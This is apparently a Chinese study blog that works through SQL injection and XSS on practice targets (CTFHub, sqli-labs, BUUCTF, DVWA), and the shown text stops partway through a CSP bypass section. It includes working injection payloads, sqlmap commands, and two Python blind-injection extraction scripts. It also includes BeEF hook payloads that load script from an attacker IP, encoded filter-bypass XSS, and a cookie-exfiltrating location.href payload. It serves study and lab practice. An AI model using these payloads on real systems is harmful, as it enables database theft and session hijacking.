Web安全专题
前言
要学一下IOT安全,但我web方面还是个小白,所以有了二进制选手的web安全之路这个系列。我打算把每天学的web安全以及渗透相关的知识积累起来,每篇文章作为一个专题,后续如果发现了这个专题的其他内容,也会补充这些新内容。本着开源精神,利己利他,后续有和我一样的同学也能少走些弯路。
SQL 注入攻击
sql注入基础
靶场环境 :ctfhub技能数->web->sql注入 注入参数为整数类型,语句类似 select * from news where id=参数。
整数型注入
手动解法
- 可以根据回显结果来判断我们插入的语句是否被解析为 sql 语法,是否存在整数注入。
- 有回显

- 无回显

- 确认查询列数。输入到 3 时返回错误,所以列数为 2 。
- 输入
1 order by 1有回显。
- 输入
1 order by 2有回显。
- 输入
1 order by 3无回显。
- 通过
union注入查询数据。union 联合查询语句内部每个 select 语句必须拥有相同的列。union也可用于查询列数。
- 输入
union select 1无回显。
- 输入
union select 1,2有回显。
- 利用
union查询数据库名。
- 输入
-1 union select 1,database()。让id=-1因为回显只有一行数据,需要让第一个 select 语句返回空。这里查询到一个sqli数据库。
- 输入
-1 union select 1,table_name from information_schema.tables where table_schema='sqli'。Mysql5.0以上版本中information_schema默认库保存了所有数据库信息。这里我们查询到了一个flag表。
- 输入
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'。通过group_concat()函数将多条数据组合成字符串输出,或者通过limit函数选择输出第几条数据。

- 输入
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag',同样通过information_schema查询列名。flag 表中 只有一个 flag 列。
- 输入
-1 union select 1,group_concat(flag) from sqli.flag。直接查询 flag 列中数据即可。
sqlmap解法
- 输入
sqlmap --purge清除原有数据。 - 输入
sqlmap -u http://challenge-3da5ad86434a80f6.sandbox.ctfhub.com:10800/?id=1 --tables。-u指定url
反馈

- 输入
sqlmap -u http://challenge-3da5ad86434a80f6.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables。-D指定数据库。
反馈

- 输入
sqlmap -u http://challenge-3da5ad86434a80f6.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --dump, --dump 获取字段数据,或者输入sqlmap -u http://challenge-3da5ad86434a80f6.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --tables --dump,-T 指定表名。
字符型注入
手动解法
- 判断列数。原理一样,记得输入
'闭合操作,然后注释掉后面自带的',--注释记得加一个空格,#则不用加空格。

- 查询 flag。

sqlmap解法
- 输入
sqlmap --purge清除原有数据。 - 解法和
整数型注入相同。
sqlmap -u http://challenge-ced5aff6454f7ff0.sandbox.ctfhub.com:10800/?id=1
sqlmap -u http://challenge-ced5aff6454f7ff0.sandbox.ctfhub.com:10800/?id=1 --current-db
sqlmap -u http://challenge-ced5aff6454f7ff0.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-ced5aff6454f7ff0.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
报错注入
在无法利用union注入并回显报错信息时,可采用报错注入。人为制造错误条件,在报错信息中返回完整查询结果。
手动解法
- 利用
extractvalue(XML_document, XPath_string)和updatexml(XML_document, XPath_string, new_value)函数进行报错注入。extractvalue()和updatexml()函数第二个参数不合法时,会将查询结果放在报错信息中。但 extractvalue() 函数最长报错32位。
- 输入
1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))。
- 输入
1 and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)))。
sqlmap解法
- 解法和
整数型注入相同。
sqlmap -u http://challenge-5d7e63900aa73836.sandbox.ctfhub.com:10800/?id=1
sqlmap -u http://challenge-5d7e63900aa73836.sandbox.ctfhub.com:10800/?id=1 --current-db
sqlmap -u http://challenge-5d7e63900aa73836.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-5d7e63900aa73836.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump

布尔盲注
回显只有True和False的情况。思路解法
手动解法
- 可以编写脚本,逐字节爆破。
- 输入
1 and 1=1
- 输入
1 and1=2
- 输入
1 and (substr((select flag from flag),1,1)='c')
- 脚本
#导入库
import requests
#设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/'
#作为盲注成功的标记,成功页面会显示query_success
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))
#自定义函数获取数据库名长度
def getLengthofDatabase():
#初始化库名长度为1
i = 1
#i从1开始,无限循环库名长度
while True:
new_url = url + "?id=1 and length(database())={}".format(i)
#GET请求
r = requests.get(new_url)
#如果返回的页面有query_success,即盲猜成功即跳出无限循环
if success_mark in r.text:
#返回最终库名长度
return i
#如果没有匹配成功,库名长度+1接着循环
i = i + 1
#自定义函数获取数据库名
def getDatabase(length_of_database):
#定义存储库名的变量
name = ""
#库名有多长就循环多少次
for i in range(length_of_database):
#切片,对每一个字符位遍历字母表
#i+1是库名的第i+1个字符下标,j是字符取值a-z
for j in ascii_range:
new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到库名变量里
name += chr(j)
#当前下标字符匹配成功,退出遍历,对下一个下标进行遍历字母表
break
#返回最终的库名
return name
#自定义函数获取指定库的表数量
def getCountofTables(database):
#初始化表数量为1
i = 1
#i从1开始,无限循环
while True:
new_url = url + "?id=1 and (select count(*) from information_schema.tables where table_schema='{}')={}".format(database,i)
r = requests.get(new_url)
if success_mark in r.text:
#返回最终表数量
return i
#如果没有匹配成功,表数量+1接着循环
i = i + 1
#自定义函数获取指定库所有表的表名长度
def getLengthListofTables(database,count_of_tables):
#定义存储表名长度的列表
#使用列表是考虑表数量不为1,多张表的情况
length_list=[]
#有多少张表就循环多少次
for i in range(count_of_tables):
#j从1开始,无限循环表名长度
j = 1
while True:
#i+1是第i+1张表
new_url = url + "?id=1 and length((select table_name from information_schema.tables where table_schema='{}' limit {},1))={}".format(database,i,j)
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到表名长度的列表
length_list.append(j)
break
#如果没有匹配成功,表名长度+1接着循环
j = j + 1
#返回最终的表名长度的列表
return length_list
#自定义函数获取指定库所有表的表名
def getTables(database,count_of_tables,length_list):
#定义存储表名的列表
tables=[]
#表数量有多少就循环多少次
for i in range(count_of_tables):
#定义存储表名的变量
name = ""
#表名有多长就循环多少次
#表长度和表序号(i)一一对应
for j in range(length_list[i]):
#k是字符取值a-z
for k in ascii_range:
new_url = url + "?id=1 and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)='{}'".format(database,i,j+1,chr(k))
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到表名变量里
name = name + chr(k)
break
#添加表名到表名列表里
tables.append(name)
#返回最终的表名列表
return tables
#自定义函数获取指定表的列数量
def getCountofColumns(table):
#初始化列数量为1
i = 1
#i从1开始,无限循环
while True:
new_url = url + "?id=1 and (select count(*) from information_schema.columns where table_name='{}')={}".format(table,i)
r = requests.get(new_url)
if success_mark in r.text:
#返回最终列数量
return i
#如果没有匹配成功,列数量+1接着循环
i = i + 1
#自定义函数获取指定库指定表的所有列的列名长度
def getLengthListofColumns(database,table,count_of_column):
#定义存储列名长度的变量
#使用列表是考虑列数量不为1,多个列的情况
length_list=[]
#有多少列就循环多少次
for i in range(count_of_column):
#j从1开始,无限循环列名长度
j = 1
while True:
new_url = url + "?id=1 and length((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1))={}".format(database,table,i,j)
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到列名长度的列表
length_list.append(j)
break
#如果没有匹配成功,列名长度+1接着循环
j = j + 1
#返回最终的列名长度的列表
return length_list
#自定义函数获取指定库指定表的所有列名
def getColumns(database,table,count_of_columns,length_list):
#定义存储列名的列表
columns = []
#列数量有多少就循环多少次
for i in range(count_of_columns):
#定义存储列名的变量
name = ""
#列名有多长就循环多少次
#列长度和列序号(i)一一对应
for j in range(length_list[i]):
for k in ascii_range:
new_url = url + "?id=1 and substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)='{}'".format(database,table,i,j+1,chr(k))
r = requests.get(new_url)
if success_mark in r.text:
#匹配到就加到列名变量里
name = name + chr(k)
break
#添加列名到列名列表里
columns.append(name)
#返回最终的列名列表
return columns
#对指定库指定表指定列爆数据(flag)
def getData(database,table,column,str_list):
#初始化flag长度为1
j = 1
#j从1开始,无限循环flag长度
while True:
#flag中每一个字符的所有可能取值
for i in str_list:
new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i))
r = requests.get(new_url)
#如果返回的页面有query_success,即盲猜成功,跳过余下的for循环
if success_mark in r.text:
#显示flag
print(chr(i),end="")
#flag的终止条件,即flag的尾端右花括号
if chr(i) == "}":
print()
return 1
break
#如果没有匹配成功,flag长度+1接着循环
j = j + 1
#--主函数--
if __name__ == '__main__':
#爆flag的操作
#还有仿sqlmap的UI美化
print("Judging the number of tables in the database...")
database = getDatabase(getLengthofDatabase())
count_of_tables = getCountofTables(database)
print("[+]There are {} tables in this database".format(count_of_tables))
print()
print("Getting the table name...")
length_list_of_tables = getLengthListofTables(database,count_of_tables)
tables = getTables(database,count_of_tables,length_list_of_tables)
for i in tables:
print("[+]{}".format(i))
print("The table names in this database are : {}".format(tables))
#选择所要查询的表
i = input("Select the table name:")
if i not in tables:
print("Error!")
exit()
print()
print("Getting the column names in the {} table......".format(i))
count_of_columns = getCountofColumns(i)
print("[+]There are {} tables in the {} table".format(count_of_columns,i))
length_list_of_columns = getLengthListofColumns(database,i,count_of_columns)
columns = getColumns(database,i,count_of_columns,length_list_of_columns)
print("[+]The column(s) name in {} table is:{}".format(i,columns))
#选择所要查询的列
j = input("Select the column name:")
if j not in columns:
print("Error!")
exit()
print()
print("Getting the flag......")
print("[+]The flag is ",end="")
getData(database,i,j,str_range)

sqlmap解法
sqlmap -u http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/?id=1
sqlmap -u http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/?id=1 --current-db
sqlmap -u http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-65d736fce6a4670d.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
时间盲注
没有回显结果,无法通过回显判断 SQL 语句是否执行成功。通常采用if((bool),sleep(3),0)语句,通过页面响应时间判断是否存在时间盲注。思路解法。
手动解法
- 输入
1 and if(length(database())=4,sleep(3),0)。页面 sleep(3) 秒左右,然后响应。
- 脚本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import sys
import time
session=requests.session()
url = "http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id="
name = ""
for k in range(1,10):
for i in range(1,10):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
#数据库名
payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
#表名
#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
#字段名
#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
start_time=time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name+=str_ascii
break
print(name)
#查询字段内容
for i in range(1,50):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)
sqlmap解法
sqlmap -u http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id=1 -level=5 risk=3
sqlmap -u http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id=1 --current-db
sqlmap -u http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
sqlmap -u http://challenge-eadc616ac9ba5e71.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump

sql注入进阶
- 参考书籍《CTF实战:技术、解题与进阶》
二次注入
- 原理:二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入,二次注入是输入数据经处理后存储,取出后,再次进入到 SQL 查询,以绕过开发人员设置的一些检查。
- 第一步,插入恶意数据。Web程序对插入的数据进行转义和过滤,写入数据库时又将其还原。
- 第二步,引用恶意数据。Web程序将数据从数据库中取出并调用时,恶意 SQL 语句被带入原始语句中,造成 SQL 二次注入。
- 例题:sqli-labs-24。
登陆界面:
登陆代码:
//转义
function sqllogin($con1){
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = mysqli_real_escape_string($con1, $_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysqli_query($con1, $sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}
注册界面:
注册代码:
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysqli_real_escape_string($con1, $_POST['username']) ;
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
//print_r($row);
if (!$row[0]==0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";
mysqli_query($con1, $sql) or die('Error Creating your user account, : '.mysqli_error($con1));
echo "</br>";
echo "<center><img src=..images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
else
{
?>
<script>alert('Please make sure that password field and retype password match correctly')</script>
<?php
header('refresh:1, url=new_user.php');
}
}
}
利用流程:
- 利用注册,将
admin'#插入数据库。 - 以
admin'#登录,执行sql = "SELECT * FROM users WHERE username='admin '#' and password='$password'";并可修改admin密码。

无名列注入
- 无名列注入就是在不知道列名的情况下进行 sql 注入。通常我们用于获取所有库的库名,表名,列名的 infomation_scema 库经常被 WAF 过滤。无名列注入适用于已经获取数据表但无法查询列的情况。
- 原理:类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询。
正常查询
union 查询
利用数字3代替未知列名需要加上反引号`3`。后面的a表示上图中表的别名。
若反引号被过滤掉,可用别名代替。

BUU例题:[SWPU2019]Web1
注册后经测试,过滤了or,#,--``+和。
爆破库名:
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
爆破表名:
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
无名列注入:
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

堆叠注入
-
堆叠注入就是一堆 SQL 语句一起执行。我们将多个 SQL 语句用 ";" 连接起来即可达到多条语句一起执行的效果。堆叠注入和 union 联合查询本质上都是将两条语句一起执行,但 union 查询只能连接两条查询语句,而堆叠注入可连接两条任意语句。当 WAF 没有过滤 show, rename, alert 等关键字时,可考虑堆叠注入。
-
例题:[强网杯 2019]随便注 输入
1';show databases;
输入1';show tables #
输入
1'; show columns from `words`#
输入
1'; show columns from `1919810931114514` #
输入
1'; handler `1919810931114514` open as `a`; handler `a` read first limit 0,2;#

- Tips
hand tablename open as new_tablename;。追加tablename的表的别名为new_tablename(需要注意的是,此处不是修改,且只在当前会话内生效)Handler_read_next;此选项表明在进行索引扫描时,按照索引从数据文件里取数据的次数。
例题:sqli-labs:Less-38
http://127.0.0.1/sqli-labs/Less-38/?id=1
payload:
127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values(21,'5555','5555'); #
SQL 注入与其他漏洞结合
后续补充。
XSS 跨站脚本攻击
XSS 指 Web 应用代码注入,攻击者向 Web 页面插入恶意 Script 代码,例如 JavaScript 脚本,CSS 或者其他代码。用户浏览该页面会执行其中嵌入的 Script 代码,从而获取 cookie,session,token或其他敏感信息,对用户进行钓鱼欺诈。
XSS 基础
反射型 XSS(非持久性 XSS)
这种 XSS 并没有保存到目标网站,而是将恶意代码放在请求的响应结果中,浏览器解析后触发 XSS,一般引诱用户点击恶意链接来实施攻击。
dvwa 例题:
level: Low
<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
向 GET 请求注入代码:
127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert("hello")</script>
<script>alert("hello")</script>

反馈:

BeEF 利用:
攻击方 IP: 192.168.152.128。
靶场IP: 192.168.152.1
键入<script src="http://192.168.152.128:3000/hook.js"></script>

反馈:

URL: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22http%3A%2F%2F192.168.152.128%3A3000%2Fhook.js%22%3E%3C%2Fscript%3E#
变成了 hook.js地址,并且成功上线 BeEF,可通过Get cookie 获取 cookie信息。

界面跳转。


弹窗。


level: Medium
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );//str_replace 区分大小写。
// Feedback for end user
$html .= "<pre>Hello {$name}</pre>";
}
?>
payload:
<Script src="http://192.168.152.128:3000/hook.js"></Script>

level: High
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// 避开<script ,*贪婪匹配会匹配到 <
// Feedback for end user
$html .= "<pre>Hello {$name}</pre>";
}
?>
只要避免 script出现即可。
策略: 使用String.fromCharCode()函数来创建"script"和"http://192.168.152.128:3000/hook.js"这两个字符串,以避免直接在代码中出现这些字符串。然后,我使用eval()函数来执行这段代码。
payload:
<img src="/img/posts/Web安全专题/nonexistent.jpg" onerror="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">

成功上线BeEF。

存储型 XSS
存储型 XSS 被保留在目标网站中,受害者浏览包含此恶意代码的网站就会执行恶意代码。通常出现在个人信息,网站留言,评论,博客日志等交互处。
dvwa 例题
level: Low
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
在留言板键入 <script src="http://192.168.152.128:3000/hook.js">

成功上线BeEF。

level: Medium
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
str_replace 可以通过双写或者大写等绕过。
payload:
<scrip<script>t>http://192.168.152.128:3000/hook.js</scrip<script>t>
限制了输入长度,将其改为 200。


成功上线 BeEF。

level: High
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
和 xss-r 的 High 难度一样,通过编码绕过。
payload:
<img src="/img/posts/Web安全专题/nonexistent.jpg" onerror="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">
修改 Message 可输入长度。

成功上线 BeEF。

DOM 型 XSS
DOM 型 XSS 可以在前端通过 js 渲染来完成数据的交互,达到插入数据造成 XSS 脚本攻击。因 '#' 后面的内容不会发送到服务器上,所以即使抓包无无法抓取到这里的流量,也不会经过服务器过滤器阻止。而反射性与存储型 XSS 需要与服务器交互,这便是三者的区别。
dvwa 例题
level: Low
源码:
<?php
# No protections, anything goes
?>
select 任意一种语言后
URL: http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English

更改 default 参数。
payload:
<script src="http://192.168.152.128:3000/hook.js"></script>
成功上线 BeEF。

level: Medium
源码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
不允许 <script 执行,更换闭合方式即可。
payload:
</option></select><iframe onload="eval('var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);')">
成功上线 BeEF。

level: High
源码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
服务端的白名单,可用 # 绕过,# 后的 js 将在本地解析,而不会上传至服务器,并且这个脚本对以上通用。
payload:
?default=English#<script src="http://192.168.152.128:3000/hook.js"></script>
成功上线 BeEF。

XSS进阶
CSP简述
CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,采取白名单制度,开发者告诉客户端,哪些外部资源可以加载和执行,哪些不可以。通过 HTTP 消息头或者 HTML 的 Meta 标签中设置。正常 CSP 有多组策略组成,每组策略包含一个策略指令和内容源列表。
- 通过
HTTP消息头设置:
http
Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
- 通过
HTML的Meta标签中设置:
html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSP指令
- script-src:外部脚本
- style-src:样式表
- img-src:图像
- media-src:媒体文件(音频和视频)
- font-src:字体文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部资源(比如
<frame>、<iframe>、<embed>和<applet>) - connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
- worker-src:worker脚本
- manifest-src:manifest 文件
- dedault-src:默认配置
- frame-ancestors:限制嵌入框架的网页
- base-uri:限制
- form-action:限制
- block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
- upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
- plugin-types:限制可以使用的插件格式
- sandbox:浏览器行为的限制,比如不能有弹出窗口等。
CSP指令值
- *: 星号表示允许任何URL资源,没有限制;
- self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
- data:仅允许数据模式(如Base64编码的图片)方式加载资源;
- none:不允许任何资源被加载;
- unsafe-inline:允许使用内联资源,例如内联
<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用; - nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
CSP绕过
location.href绕过
很多网站常常不得已需要执行内联,CSP不影响location.href跳转。我们可以借此执行 JavaScript,也可以利用 loction跳转外带数据。
location-herf.php
<?php
if (!isset($_COOKIE['a'])) {
setcookie('a',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['a'])) {
echo "Your GET content".@$_GET['a'];
}//
?>

payload
?a=<script>location.href="http://127.0.0.1"+document.cookie;</script>

dvwa 例题
Low
- 源码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
// 白名单
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
headerCSP 放置了一些 url,使用 script src 指令 指向一个外部 JavaScript 文件,header() 函数以原始形式将 HTTP 标头发送到客户端或浏览器,源码对 HTTP 头定义了 CSP 标签,从而定义了可以接受外部 JavaScript 资源的白名单。
- Attack


首先在白名单网站https://pastebin.com/里边创建一个 JavaScript 代码alert("XSS")保存记住链接eg: https://pastebin.com/raw/Qp0pTUvF。

输入后,点击include。因为网站在是国外的,访问较慢,可能不会出现弹窗。

抓包看一下,请求已经发送出去了。
Medium
- 源码
<?php
